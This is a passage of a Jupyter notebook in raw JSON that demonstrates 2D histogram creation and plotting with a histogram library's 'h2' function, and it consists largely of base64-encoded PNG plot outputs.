ZZ//ndwOSyYknl15L1uVbhs3kjsDKV3QG8ruR4LiK7gdcvgStIKxg06fzXARuBZ8laFOcDfw50kSXQLmBUTf1LyVpAD5BmopUczyNkLbVtqf5RZcVDluSfBu6peRQ6ezFnPOeRDULfk37np5f9/1Xzvv/DEJ5V5SVHzMwsl7bsqjIzs/I4cZiZWS5OHGZmlosTh5mZ5eLEYWZmuThxmJlZLk4cZmaWixOH7ZUkHSfpF5L2k3SgsvuFtGK5CrO25wsAba8l6XKy5bj3B7oj4tMlh2TWFpw4bK8laV+ym0r9ATgxInaVHJJZW3BXle3NRgEHAQeTtTzMrAFucdheS9IiYAHZbWLHRMSQXALbrGhtdyMnsyJI+ltgZ0T8u6ThwE8lTY6IpWXHZlZ1bnGYmVkuHuMwM7NcnDjMzCwXJw4zM8vFicPMzHJx4jAzs1ycOMzMLBcnDjMzy+X/A0MYOiFzsoZDAAAAAElFTkSuQmCC\n", "text/plain": [ "<Figure size 432x288 with 2 Axes>" ] }, "metadata": { "needs_background": "light" }, "output_type": "display_data" } ], "source": [ "histogram = h2(x, y, \"human\", bin_count=5, name=\"Human-friendly bins\", axis_names=[\"x\", \"y\"])\n", "histogram.plot();\n", "histogram.numpy_bins" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Plotting\n", "\n", "### 2D" ] }, { "cell_type": "code", "execution_count": 11, "metadata": {}, "outputs": [ { "data": { "image/png": "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\n", "text/plain": [ "<Figure size 432x288 with 2 Axes>" ] }, "metadata": { "needs_background": "light" }, "output_type": "display_data" } ], "source": [ "# Default is workable\n", "ax = histogram.plot()" ] }, { "cell_type": "code", "execution_count": 12, "metadata": {}, "outputs": [ { "data": { "image/png": "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